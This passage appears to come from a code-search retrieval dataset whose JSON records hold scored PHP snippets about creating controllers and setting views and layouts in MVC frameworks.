$class_name($this->_current_controller));\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->_current_controller->setParam('modes', $this->modes);\n\n\t\t}\n\t\t// Not known controller (not found in e_admin_dispatcher::$modes) exception\n\t\telse\n\t\t{\n\t\t\t// TODO - admin log\n\t\t\t$this->_current_controller = $this->getDefaultController();\n\t\t\t// add messages\n\t\t\te107::getMessage()->add('Can\\'t find class for controller <strong>&quot;'.ucfirst($request->getModeName()).'&quot;</strong>', E_MESSAGE_ERROR)\n\t\t\t\t->add('Requested: '.e_SELF.'?'.$request->buildQueryString(), E_MESSAGE_DEBUG);\n\t\t\t// go to not found page\n\t\t\t$request->setMode($this->getDefaultControllerName())->setAction('e404');\n\t\t\t$this->_current_controller->setRequest($request)->init();\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "36f10fe19ad1967c6d91d05e14a3e9ca", "score": "0.580944", "text": "public function __construct() {\n if(!empty(App::post('uid'))) {\n App::setUID(App::post('uid'));\n }\n if(!empty(App::get('lang')) || !empty(App::post('lang'))) {\n Translator::setLanguage(App::get('lang') ?? App::post('lang'));\n }\n if(!empty(App::get('r'))) {\n $url = \"/\".App::get('r');\n } else { // Pretty URL\n $uri = substr($_SERVER['REQUEST_URI'],0,strpos($_SERVER['REQUEST_URI'].'?','?'));\n $url = str_replace($_SERVER['BASE'], '', $uri);\n }\n // Uppercase char with prefix _\n $url = str_replace(\" \",\"\",ucwords(str_replace(\"_\", \" \", $url)));\n $controllerName = ucfirst(substr($url,1,strpos($url.\"/\",\"/\",1)-1));\n if (!empty($controllerName)) {\n $controllerNameLength = strlen($controllerName)+2;\n $actionName = 'action' . ucfirst(substr($url,$controllerNameLength,strpos($url.\"/\",\"/\",$controllerNameLength)-1));\n $actionName = ($actionName!='action') ? $actionName : 'index';\n } else {\n $controllerName=ucfirst(App::params('defaultController'));\n $actionName='index';\n }\n $controllerName = 'app\\\\controllers\\\\' . $controllerName . 'Controller';\n \n if (class_exists($controllerName)) {\n $controller = new $controllerName();\n if (@method_exists($controller,$actionName)) {\n $controller->$actionName();\n } elseif (@method_exists($controller,'index')) {\n Log::add(\"errorsFile\",__METHOD__, \"Controller $controllerName has no action $actionName\");\n $controller->index();\n } else {\n Log::add(\"errorsFile\",__METHOD__, \"Controller $controllerName has no Index action\");\n }\n } else {\n http_response_code(404);\n if (file_exists(self::$error404Page)) {\n include self::$error404Page;\n }\n die();\n }\n }", "title": "" }, { "docid": "bcaa36de43243b111f5dfd296978cbdf", "score": "0.5808198", "text": "public function __construct()\n {\n $this->model = str_replace('Controller', '', (new ReflectionClass(get_class($this)))->getShortName());\n }", "title": "" }, { "docid": "2f45aa4b0488f5dc936f0a345b22e012", "score": "0.5802636", "text": "function factory($type, $router = null) {\n\t\t$factory = ControllerFactory::get_instance();\n\n\t\treturn $factory->factory($type, $router);\n\t}", "title": "" }, { "docid": "6cd876307619929a796e0ed5d9b4eca1", "score": "0.58016664", "text": "protected function createErrorController() {\n\t\trequire_once PATH_CONTROLLERS_DIR.'error.php';\n\t\treturn new Error();\n\t}", "title": "" }, { "docid": "ccd44d7229847bd580813da88f4172a4", "score": "0.5789172", "text": "public function create()\n {\n // NOT USED\n }", "title": "" }, { "docid": "930be58cde198b15fd1f9a45b4192794", "score": "0.5788672", "text": "protected function _loadController() {\n\t\t\n\t\tif (!$this->controllerName) {\n\t\t\t$this->err(__d('cake_console', 'Controller not found'));\n\t\t}\n\n\t\t$plugin = null;\n\t\tif ($this->plugin) {\n\t\t\t$plugin = $this->plugin . '.';\n\t\t}\n\n\t\t$controllerClassName = $this->controllerName . 'Controller';\n\t\tApp::uses($controllerClassName, $plugin . 'Controller');\n\t\tif (!class_exists($controllerClassName)) {\n\t\t\t$file = $controllerClassName . '.php';\n\t\t\t$this->err(__d('cake_console', \"The file '%s' could not be found.\\nIn order to bake a view, you'll need to first create the controller.\", $file));\n\t\t\treturn $this->_stop();\n\t\t}\n\t\t$controllerObj = new $controllerClassName();\n\t\t$controllerObj->plugin = $this->plugin;\n\t\t$controllerObj->constructClasses();\n\t\t$modelClass = $controllerObj->modelClass;\n\t\t$modelObj = $controllerObj->{$controllerObj->modelClass};\n\n\t\tif ($modelObj) {\n\t\t\t$primaryKey = $modelObj->primaryKey;\n\t\t\t$displayField = $modelObj->displayField;\n\t\t\t$singularVar = Inflector::variable($modelClass);\n\t\t\t$singularHumanName = $this->_singularHumanName($this->controllerName);\n\t\t\t$schema = $modelObj->schema(true);\n\t\t\t$fields = array_keys($schema);\n\t\t\t$associations = $this->_associations($modelObj);\n\t\t} else {\n\t\t\t$primaryKey = $displayField = null;\n\t\t\t$singularVar = Inflector::variable(Inflector::singularize($this->controllerName));\n\t\t\t$singularHumanName = $this->_singularHumanName($this->controllerName);\n\t\t\t$fields = $schema = $associations = array();\n\t\t}\n\t\t$pluralVar = Inflector::variable($this->controllerName);\n\t\t$pluralHumanName = $this->_pluralHumanName($this->controllerName);\n\n\t\treturn compact('modelClass', 'schema', 'primaryKey', 'displayField', 'singularVar', 'pluralVar',\n\t\t\t\t'singularHumanName', 'pluralHumanName', 'fields', 'associations', 'modelObj');\n\t}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.57745266", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.57745266", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.57745266", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.57745266", "text": "public function create(){}", "title": "" }, { "docid": "6dc6b9a4e4dcd1aa9ffd2279a3db2b97", "score": "0.57745266", "text": "public function create(){}", "title": "" }, { "docid": "92172974cac87df19bb67ea3d4350f7d", "score": "0.577289", "text": "public function getController()\n\t{\n\t\t$name = $this->Module ? $this->Module : 'Controller_Frontend';\n\t\t$class = new $name();\n\t\t$class->setContentPage( $this );\n\t\treturn $class;\n\t}", "title": "" }, { "docid": "608fab0113e466fc64c06feb8bc94c59", "score": "0.57523835", "text": "private function define_object()\r\n\t\t{\r\n\t\t\t$class_name = ucwords(self::$controller) . self::controller_posfix;\r\n\t\t\trequire AURA_APP . DS . self::$app . DS . 'controllers' . DS . $class_name . '.php';\r\n\t\t\t\r\n\t\t\t$this->object = new $class_name;\r\n\t\t}", "title": "" }, { "docid": "33d5cde53049ec73827be08d3837ab8c", "score": "0.5750729", "text": "private function _createControllerClass($controllerpath, $element){\r\n \r\n $controller = $this->file->get($this->mouldpath .DS. 'controller.mould');\r\n \r\n $controllernamespace = 'Jenga\\\\MyProject\\\\'.ucfirst($element).'\\\\Controllers';\r\n $controllerclass = ucfirst($element).'Controller';\r\n \r\n $ctrl = str_replace('{{{ctrl_namespace}}}', $controllernamespace, $controller);\r\n $ctrldata = str_replace('{{{ctrl_classname}}}', $controllerclass, $ctrl);\r\n \r\n //use model\r\n $modelclass = ucfirst($element).'Model';\r\n $usemodel = 'Jenga\\\\MyProject\\\\'.ucfirst($element).'\\\\Models\\\\'.$modelclass;\r\n \r\n \r\n //add the model packages\r\n $ctrldata = str_replace('{{{full_model_name}}}', $usemodel, $ctrldata);\r\n $ctrldata = str_replace('{{{model_class_name}}}', $modelclass, $ctrldata);\r\n \r\n //use view\r\n $viewclass = ucfirst($element).'View';\r\n $useview = 'Jenga\\\\MyProject\\\\'.ucfirst($element).'\\\\Views\\\\'.$viewclass;\r\n \r\n //add the view\r\n $ctrldata = str_replace('{{{full_view_name}}}', $useview, $ctrldata);\r\n $ctrldata = str_replace('{{{view_class_name}}}', $viewclass, $ctrldata);\r\n \r\n return $this->file->put($controllerpath .DS. $controllerclass.'.php', $ctrldata);\r\n }", "title": "" }, { "docid": "ab9c79723d50f2af14860db38ca5b0bd", "score": "0.57440096", "text": "public function getController()\n\t{\n\t\tif (! $this->controller) {\n\t\t\t$class = $this->parseControllerCallback()[0];\n\n\t\t\t$this->controller = app()->make(ltrim($class, '\\\\'));\n\t\t}\n\n\t\treturn $this->controller;\n\t}", "title": "" }, { "docid": "e2955efb416fa33e467c8735896dd15a", "score": "0.5741264", "text": "private function createTestForController($args=array())\r\n {\r\n // if there is a value of controller and create for the argument values,\r\n // then a test file will be created when that controller is created.\r\n if($args['class']==\"controller\" && $args['classMethod']==\"create\" && isset($args['controller'])){\r\n\r\n // The symfony process will be executed as an application method.\r\n $this->app->command('test create','controller:'.strtolower($args['controller']).'');\r\n }\r\n }", "title": "" }, { "docid": "12971e39125096f43b32931cd0c9fd28", "score": "0.5737575", "text": "public function create() {\n\t\t// Not needed currently\n\t}", "title": "" }, { "docid": "219809912c88210d9b5fa627691d8f22", "score": "0.572778", "text": "function &get_instance()\n{\n return Controller::getInstance();\n}", "title": "" }, { "docid": "ab075d4427a33f1e9765dd429fb21b9b", "score": "0.5721565", "text": "public function testCreateTheControllerClass()\n {\n $controller = new Game(2);\n $this->assertInstanceOf(\"\\Mos\\Dice\\Game\", $controller);\n }", "title": "" }, { "docid": "d3f00b09b523e6aaf178e141c83cb011", "score": "0.57075703", "text": "public function run()\n {\n if (!isset($_SERVER['REQUEST_URI'])) {\n throw new \\Exception('Server Request URI not found');\n }\n // Check for namespace configurations\n if (!isset($this->Di->Config->configurations['namespaces']['controllers'])) {\n throw new \\Exception('Controllers namespaces not defined in configurations');\n }\n // Set some local variables\n $uriParts = parse_url($_SERVER['REQUEST_URI']);\n $uri = $uriParts['path'];\n $route = $this->Di->router->getRoute($uri);\n $libraryNamespace = $this->Di->Config->configurations['namespaces']['library'];\n $controllersNamespace = $this->Di->Config->configurations['namespaces']['controllers'];\n $controllerClassName = ucwords($route['controller']) . 'Controller';\n $controllerClass = $controllersNamespace . '\\\\' . $controllerClassName;\n // Check if controller class exists\n if (!class_exists($controllerClass)) {\n throw new \\Exception('Controller not found: ' . $controllerClassName);\n }\n // Instantiate our target controller class\n /* @var BaseController $Controller */\n $Controller = new $controllerClass();\n // Make sure our controller extends base controller\n if (!is_a($Controller, $libraryNamespace . '\\\\BaseController')) {\n throw new \\Exception('Controller ('.$controllerClassName.') does not extends BaseController.');\n }\n // Inject DI into controller\n $Controller->setDi($this->Di);\n // Finally execute magic method to start controller\n $magicMethodName = 'execute____' . ucwords($route['action']);\n $Controller->$magicMethodName();\n }", "title": "" }, { "docid": "014ce80ff8122b8a8be04e58794380cd", "score": "0.5704155", "text": "public function create();", "title": "" } ]
b0890fefc92a661ccc9863aae2677d75
Get All Data from this method.
[ { "docid": "91aa67a27ec8a4f120cae415bbfc3e61", "score": "0.0", "text": "public function index_get($id = 0)\n\t{\n if(!empty($id)){\n $data = $this->db->get_where(\"video\", ['video_id' => $id])->row_array();\n }else{\n $data = $this->db->get(\"video\")->result();\n }\n \n $r=$this->response($data, REST_Controller::HTTP_OK);\n\n return $r;\n }", "title": "" } ]
[ { "docid": "856ff9e0668119b1bd9e668186865e8d", "score": "0.84788823", "text": "public function getAllData () {\n\t\treturn $this->data;\n\t}", "title": "" }, { "docid": "bf6d7b126957296248ae71f71122a872", "score": "0.84735644", "text": "public function getAllData()\n {\n return $this->allData;\n }", "title": "" }, { "docid": "15de16e42035129d3f6abda80966fb9e", "score": "0.8465607", "text": "public function getAllData()\n {\n return $this->data;\n }", "title": "" }, { "docid": "400e60260d088b447ec8661762f6dee7", "score": "0.8262066", "text": "public function all() {\n return $this->data;\n }", "title": "" }, { "docid": "8976c08136d47b446ee53333e032fc76", "score": "0.8255384", "text": "public function getData(){\n return $this->all();\n }", "title": "" }, { "docid": "0abe2040005653d6f91c0b9adcadfd2e", "score": "0.8240704", "text": "public function all()\n {\n return $this->data;\n }", "title": "" }, { "docid": "0abe2040005653d6f91c0b9adcadfd2e", "score": "0.8240704", "text": "public function all()\n {\n return $this->data;\n }", "title": "" }, { "docid": "4a83dcfdb2328e242a0e5d7a8a41376c", "score": "0.82225966", "text": "public function getAll()\n {\n return $this->data;\n }", "title": "" }, { "docid": "4a83dcfdb2328e242a0e5d7a8a41376c", "score": "0.82225966", "text": "public function getAll()\n {\n return $this->data;\n }", "title": "" }, { "docid": "75570ce06511ad3a0d3e4aef06fe71df", "score": "0.81826794", "text": "public function getAll() {\n\n return $this->data;\n }", "title": "" }, { "docid": "5c0da345aee3aaaec035af27f0099fdf", "score": "0.8152775", "text": "public function getAll() {\n\t\treturn $this->_data;\n\t}", "title": "" }, { "docid": "c03b3eb9f0688134e92170bcbc2b8a4d", "score": "0.8075833", "text": "public static function all()\n\t{\n\t\treturn self::$data;\n\t}", "title": "" }, { "docid": "14e8becd7a5d6af33206f48ea601a032", "score": "0.78614295", "text": "public function getAllData()\n\t{\n\t\treturn $this->model->get();\n\t}", "title": "" }, { "docid": "7e1bc781b43ac40de16b88a2954f6e38", "score": "0.7658543", "text": "function all(){\n\t\t$return = $this->get_all();\n\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "59de59b6c85e97b143d9d0dee712ac6b", "score": "0.7637582", "text": "public function all()\n\t{\n\t\t// fetch data\n\t\t//\t\tdd($this->fetchFromDb()[595]);\n\n\t\treturn $this->fetchFromDb();\n\t}", "title": "" }, { "docid": "378de4f658bc36721dfb9f718484267d", "score": "0.7598221", "text": "public function getAllData(): array;", "title": "" }, { "docid": "1beaad9f9acdd8381276bd1ca4e63ea2", "score": "0.7565306", "text": "public function all(): array\n {\n return $this->data;\n }", "title": "" }, { "docid": "41ab4ffb6cb97e4be4a66d880700850a", "score": "0.75353605", "text": "public function getAll() {\n }", "title": "" }, { "docid": "c68d8bc8a0613f895e09c0b9853cd0aa", "score": "0.7488151", "text": "public static function getAll() {\n return parent::get();\n }", "title": "" }, { "docid": "f07562cbdfa29b12f38725e3539bccdd", "score": "0.74653846", "text": "public function getAll()\n {\n return $this->get();\n }", "title": "" }, { "docid": "f07562cbdfa29b12f38725e3539bccdd", "score": "0.74653846", "text": "public function getAll()\n {\n return $this->get();\n }", "title": "" }, { "docid": "41118aa50c3eb61b48bc28f049d91f30", "score": "0.7437224", "text": "public static function getAll(){\n\t\treturn self::get();\n\t}", "title": "" }, { "docid": "7de7226dd5d4240d212594bfec6ee383", "score": "0.7434231", "text": "public function getData()\n {\n return $this->model->get(); // Return all the records.\n }", "title": "" }, { "docid": "17e6f84ace591d63997e2d9b068573e6", "score": "0.73920286", "text": "public function all()\n {\n return $this->getAll();\n }", "title": "" }, { "docid": "72b283a6d7457ee3d14ffbf40cd9d8d5", "score": "0.73846614", "text": "public static function get_all()\n {\n return self::get();\n }", "title": "" }, { "docid": "eebf2b0025e9fba0d655436f88847cc1", "score": "0.7372078", "text": "public function getAll()\n {\n $this->collect();\n\n return $this->dataCollector->getAll();\n }", "title": "" }, { "docid": "a3456393dfae7cc4bb364d7c7fa91482", "score": "0.73291475", "text": "public function findAll() {\n return $this->data;\n }", "title": "" }, { "docid": "1faea86a5639e24972f65b8642cdb72b", "score": "0.72978294", "text": "public function getAll()\n {\n return parent::getAll();\n }", "title": "" }, { "docid": "62a1cacc587c19efd3ec68b3d942eab6", "score": "0.72862184", "text": "public function get(){\n $return = $this->getData();\n $this->reInit();\n return $return->fetchAll();\n }", "title": "" }, { "docid": "4862f44a0169719e4afa9472131b5f85", "score": "0.72820336", "text": "public function all()\n {\n return $this->dataRepository->all();\n }", "title": "" }, { "docid": "1895b0eeb19cdb30751f421737621d0f", "score": "0.7281", "text": "public function getAll(): array\n {\n $this->init();\n\n return $this->data;\n }", "title": "" }, { "docid": "1c7ae585e7aba150a99d7bd6b68bcc13", "score": "0.7267162", "text": "public function getAll() {\n\t\t$this->getInfo();\n\t\t$this->getParams();\n\t}", "title": "" }, { "docid": "c566310f56a8d167773319d39e0f3862", "score": "0.7263672", "text": "public function getAll()\n {\n return $this->toArray();\n }", "title": "" }, { "docid": "eb6e3d126442a16d747f79eb50eefa71", "score": "0.72524494", "text": "public static function get_all()\n\t{\n\t\treturn self::get();\n\t}", "title": "" }, { "docid": "2e9a96744099125b54bb034cad41f071", "score": "0.7252337", "text": "public function all() {\n return $this->toObject();\n }", "title": "" }, { "docid": "7b4d9dc2d89abd4a2ca6a6444e0b316c", "score": "0.72473854", "text": "public function getData () {\r\n \treturn $this->toArray ();\r\n }", "title": "" }, { "docid": "9a2f8e2b902501e8251a51eb2c74a8b0", "score": "0.7218459", "text": "public function getDatas() {\n return $this->datas;\n }", "title": "" }, { "docid": "9cd47e0d79c9ad4a7e5bb7f62519bd3b", "score": "0.7216754", "text": "public function getAll()\n {\n return $this->array;\n }", "title": "" }, { "docid": "16fc6f29fa0d1121791789f01a302186", "score": "0.7210155", "text": "public function get_data() {\n\t\treturn array();\n\t}", "title": "" }, { "docid": "316cf57c38766b627dd382b1fb4b3717", "score": "0.71940386", "text": "function getAll() {\n \n return $this-> items;\n\n }", "title": "" }, { "docid": "4eeaa179bdc348e8259672eea73b4abe", "score": "0.71919215", "text": "public function getAll(){\r\n $sql = \"SELECT * FROM $this->table\";\r\n $getData = $this->dbConnect->prepare($sql);\r\n $getData->execute();\r\n $data = $getData->fetchAll(PDO::FETCH_ASSOC);\r\n return $data; \r\n }", "title": "" }, { "docid": "74c7935eddf7967b693e67a8de901183", "score": "0.71825194", "text": "public function getAll()\n {\n return $this->fetchAll();\n }", "title": "" }, { "docid": "a05c55dacffd137e17178d81fee7766a", "score": "0.7172284", "text": "public function get_data_all_guidance()\n {\n \n }", "title": "" }, { "docid": "8eabb8825874352717a656632e7ad093", "score": "0.7166555", "text": "public function getAllData(){\n if(!$this->result){\n $data= 0;\n }\n else{ while($datas = $this->getData()){\n $data[] = $datas;\n }\n }\n return $data;\n }", "title": "" }, { "docid": "991693a9d12f059e57a7aad1c2b85c71", "score": "0.71492887", "text": "public function get_all(){\n\t\treturn parent::get_all();\n\t}", "title": "" }, { "docid": "2011d34293ecc50ccd7d405c853a9ba9", "score": "0.71486664", "text": "public function retrieveAll()\n {\n }", "title": "" }, { "docid": "1029793848f3661566d0c867d40f5da3", "score": "0.7144308", "text": "public function getAll()\n {\n return $this->results;\n }", "title": "" }, { "docid": "2cc9d5a2611d94e6c72655c9070fec0e", "score": "0.71280026", "text": "public function getAll()\n {\n }", "title": "" }, { "docid": "2cc9d5a2611d94e6c72655c9070fec0e", "score": "0.71280026", "text": "public function getAll()\n {\n }", "title": "" }, { "docid": "2cc9d5a2611d94e6c72655c9070fec0e", "score": "0.71280026", "text": "public function getAll()\n {\n }", "title": "" }, { "docid": "2cc9d5a2611d94e6c72655c9070fec0e", "score": "0.71280026", "text": "public function getAll()\n {\n }", "title": "" }, { "docid": "2cc9d5a2611d94e6c72655c9070fec0e", "score": "0.71280026", "text": "public function getAll()\n {\n }", "title": "" }, { "docid": "eb4223a8aa87e9b1a0ca8735cc8ff8ca", "score": "0.7122497", "text": "abstract public function get_data();", "title": "" }, { "docid": "8772693bfc87c9a0b2dc65aa184c6ed4", "score": "0.71217763", "text": "public function all() {\n return $this->prepareResult();\n }", "title": "" }, { "docid": "35a0812bc96bcafcac572591c15a9bf2", "score": "0.71107125", "text": "protected static function getAll()\n {\n }", "title": "" }, { "docid": "edffcdf6e349882454fd677f303c95f8", "score": "0.7095984", "text": "public function getData()\n {\n }", "title": "" }, { "docid": "edffcdf6e349882454fd677f303c95f8", "score": "0.7095984", "text": "public function getData()\n {\n }", "title": "" }, { "docid": "edffcdf6e349882454fd677f303c95f8", "score": "0.7095984", "text": "public function getData()\n {\n }", "title": "" }, { "docid": "edffcdf6e349882454fd677f303c95f8", "score": "0.7095984", "text": "public function getData()\n {\n }", "title": "" }, { "docid": "edffcdf6e349882454fd677f303c95f8", "score": "0.7095984", "text": "public function getData()\n {\n }", "title": "" }, { "docid": "b1582e3222e11d3807df157090a77370", "score": "0.70948136", "text": "public function data()\n {\n return $this->data->get();\n }", "title": "" }, { "docid": "df677ca0cfa2ef349be3f1e82a129fd4", "score": "0.70935833", "text": "function getData()\n\t{\n\t\tif (empty($this->_data))\n\t\t{\n\t\t\t$query = $this->_buildQuery();\n\t\t\t$this->_data = $this->_getList($query);\n\t\t}\n\t\treturn $this->_data;\n\t}", "title": "" }, { "docid": "f549088e14999ad3ac1a966ffc186c79", "score": "0.70935535", "text": "function getData()\n\t\t {\n\t\t // Lets load the content if it doesn't already exist\n\t\t if (empty($this->_data))\n\t\t {\n\t\t $query = $this->_buildQuery();\n\t\t $this->_data = $this->_getList($query);\n\t\t }\n\t\t return $this->_data;\n\t\t }", "title": "" }, { "docid": "5cd2acd1d86bf3c137e3a6a8f7b0728e", "score": "0.7088205", "text": "public function getData()\n {\n return [];\n }", "title": "" }, { "docid": "5cd2acd1d86bf3c137e3a6a8f7b0728e", "score": "0.7088205", "text": "public function getData()\n {\n return [];\n }", "title": "" }, { "docid": "6b8d5775512e4f6968d1e34e16cf6a2e", "score": "0.7086609", "text": "function getData()\n {\n // Lets load the content if it doesn't already exist\n if(empty($this->_data))\n {\n $query = $this->_buildQuery();\n $this->_data = $this->_getList($query);\n }\n\n return $this->_data;\n }", "title": "" }, { "docid": "8b35293c2ca95a95b88beddd45d13d73", "score": "0.70769155", "text": "public function get_all_data()\n {\n $results = $this->M_background->get_all(); \n echo $results;\n }", "title": "" }, { "docid": "2fafa26011f134e5076f563aebc5def8", "score": "0.7066109", "text": "function get_data() {\r\n return $this->data;\r\n }", "title": "" }, { "docid": "bca98733d6d166a624aaab9c064c5466", "score": "0.7065706", "text": "public function getAll ()\n {\n return $this->decorated->getAll();\n }", "title": "" }, { "docid": "f72db82fec17240577e9cd3ad27893f3", "score": "0.70559835", "text": "abstract protected function getAll();", "title": "" }, { "docid": "61a0c59e0e77c65b08a6af321db61fa3", "score": "0.7052161", "text": "protected function get_data()\n {\n return $this->data;\n }", "title": "" }, { "docid": "8e7bc16ce802777e6a2ccb2b2f92615f", "score": "0.70514214", "text": "static private function retreiveData(){\n \n }", "title": "" }, { "docid": "3b4cb68dc2dcfa80e6243221aa9077d3", "score": "0.7038418", "text": "public function GetAll() {\n return $this->dao_->GetAll();\n }", "title": "" }, { "docid": "3b4cb68dc2dcfa80e6243221aa9077d3", "score": "0.7038418", "text": "public function GetAll() {\n return $this->dao_->GetAll();\n }", "title": "" }, { "docid": "b3db7f5f4d933db3e1c18e0099b9c146", "score": "0.70331156", "text": "public function all()\n\t{\n\t\treturn $this->getResults();\n\t}", "title": "" }, { "docid": "1ecdd959b240d912f087e391964ad441", "score": "0.7008721", "text": "public function getAll()\n {\n return $this->model->get();\n }", "title": "" }, { "docid": "2ffda14a48aa9c0dde86f0468e714de5", "score": "0.70015275", "text": "public function getAll(){\r\n\r\n }", "title": "" }, { "docid": "bd93b4c4e293a1891b84b6334cc306ff", "score": "0.6998428", "text": "public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }", "title": "" }, { "docid": "bd93b4c4e293a1891b84b6334cc306ff", "score": "0.6998428", "text": "public static function findAll(){\n \t$data = self::all();\n \treturn $data;\n }", "title": "" }, { "docid": "7b3e854430779715a645f1a3a3dcbfb7", "score": "0.69915533", "text": "protected function getAllDatas()\n {\n $result = array();\n \n $current_player_id = self::getCurrentPlayerId(); // !! We must only return informations visible by this player !!\n \n // Get information about players\n // Note: you can retrieve some extra field you added for \"player\" table in \"dbmodel.sql\" if you need it.\n $sql = \"SELECT player_id id, player_score score FROM player \";\n $result['players'] = self::getCollectionFromDb( $sql );\n \n // TODO: Gather all information about current game situation (visible by player $current_player_id).\n \n return $result;\n }", "title": "" }, { "docid": "5e4b674e7d8a1d27354c69c3f5fbdb6d", "score": "0.69909805", "text": "public static function getAll() {\n\t\treturn self::_getDao()->getAll();\n\t}", "title": "" }, { "docid": "f4ebf7c7666bc30f43f7e37db46d8fe3", "score": "0.697633", "text": "public function data()\r\n {\r\n return $this->toArray();\r\n }", "title": "" }, { "docid": "4cd74f0b7e0a25a9b3bd45cd861abff3", "score": "0.69763166", "text": "public static function getAll()\n {\n return self::all();\n }", "title": "" }, { "docid": "d01b8f81360a8b2c05d0b204334d92f1", "score": "0.696117", "text": "function &getData()\n\t{\t\t\n\t\tif (empty($this->_data)) {\n\t\t\tif ($this->_id)\n\t\t\t\t$this->_loadData();\n\t\t\telse \n\t\t\t\t$this->_initData();\t\n\t\t}\t\t\t\t\t\t\t\n\t\treturn $this->_data;\n\t}", "title": "" }, { "docid": "cc85674eeddbb4950480ce5fa3b1c7a3", "score": "0.6956916", "text": "public function getAll() {\n $dao = $this->buildDAO();\n return $dao->getAll();\n }", "title": "" }, { "docid": "9ed4ffb8b478690bc83296974a09801e", "score": "0.6954792", "text": "public function getAll()\n {\n return $this->query()->get();\n }", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" }, { "docid": "9f42a32661fa13f462bb79e6b02cb942", "score": "0.6951099", "text": "public function getAll();", "title": "" } ]
0c09825e9022cc4b100f375cc52fd8e5
Set the view to be used for the layout.
[ { "docid": "087032b28046c961b5abd6d0bd623433", "score": "0.0", "text": "public function getCurl($ip)\n {\n $curl = curl_init();\n curl_setopt($curl, CURLOPT_URL, \"{$this->url}/{$ip}?access_key={$this->apikey}\");\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($curl);\n $decoded_result = json_decode($result);\n return $decoded_result;\n }", "title": "" } ]
[ { "docid": "15c28209c53e926c6c96b0a5b041d95b", "score": "0.77262014", "text": "private function setView(){\n\t\t$class = '\\views\\\\' . $this->controllerName . 'View';\n\t\tif(class_exists($class)){\n\t\t\t$this->view = new $class();\n\t\t}\n\t\telse{\n\t\t\t$this->view = new \\core\\AppView();\n\t\t}\n\t\t$this->controller->setView($this->view);\n\t}", "title": "" }, { "docid": "418214ca452157cd913094c52d388fa5", "score": "0.7652997", "text": "public function setView ();", "title": "" }, { "docid": "dd6a6a2a10a0f673de9f12891e0df748", "score": "0.7631768", "text": "protected function setView()\n {\n $this->view = new Template();\n }", "title": "" }, { "docid": "8811430dd3a5d7b7d63f9fe930ebc134", "score": "0.7383963", "text": "public function setView()\r\n {\r\n $this->view->header = $this->getHeader();\r\n $this->view->subHeader = $this->getSubHeader();\r\n $this->view->content = $this->getContent();\r\n if (empty($this->view->hrClasses)) {\r\n $this->view->hrClasses = $this->getHRClasses();\r\n }\r\n }", "title": "" }, { "docid": "50b7d8e60b8323bc7fe17c7a50213f37", "score": "0.7353071", "text": "protected function setLayout($view)\n\t{\n\t\t$this->layout = $view;\n\t\t// Selects a random background for current application\n\t\t$this->variables['bg'] = $this->getRandomBackground();\n\t}", "title": "" }, { "docid": "5714d1b2a9e4b0aebc4605f494e0c0bd", "score": "0.73487353", "text": "function setView($view) {\n\t\t$this->View = $view;\n\t}", "title": "" }, { "docid": "88442ac270fb9140f53e58c14b4bbb7c", "score": "0.7319808", "text": "public function setView(Renderer $view);", "title": "" }, { "docid": "e37db7c259c1165f801b0cf1f36dce64", "score": "0.7279258", "text": "public function setViewLayout($view)\n {\n $this->view_layout = $view;\n }", "title": "" }, { "docid": "1e8b5cc1b994de4ca0068734fda51b95", "score": "0.7250633", "text": "private function setView()\n {\n $this->view->type = $this->request->getRequestedResource();\n }", "title": "" }, { "docid": "481469197d7c1f54469693717ea3cf56", "score": "0.7217895", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout) && ! is_object($this->layout)) {\n $this->layout = view($this->layout);\n }\n }", "title": "" }, { "docid": "05574b922bac36e6f86c2c4120badf39", "score": "0.7194342", "text": "public function setView($view)\r\n {\r\n $this->view = $view;\r\n }", "title": "" }, { "docid": "930a1f6e9b1f852334d5b67eb54e7c88", "score": "0.71774256", "text": "public function setView($view)\n {\n\n $this->view = $view;\n \n }", "title": "" }, { "docid": "766a39550faa99a50ff3b8b57183524f", "score": "0.7177046", "text": "public function setView(View $view)\n\t{\n\t\t$this->_view = $view;\n\t}", "title": "" }, { "docid": "b88b9ce139f684470983bca5ad512cc8", "score": "0.7175402", "text": "public function setView($view) {\n\t\t$this->view = $view;\n\t}", "title": "" }, { "docid": "c3974ff906905d851ba014cdc1db8bb9", "score": "0.7127387", "text": "protected function setupLayout() {\n\t\tif(! is_null($this->layout)) {\n\t\t\t$this->layout = \\View::make($this->layout);\n\t\t}\n\t}", "title": "" 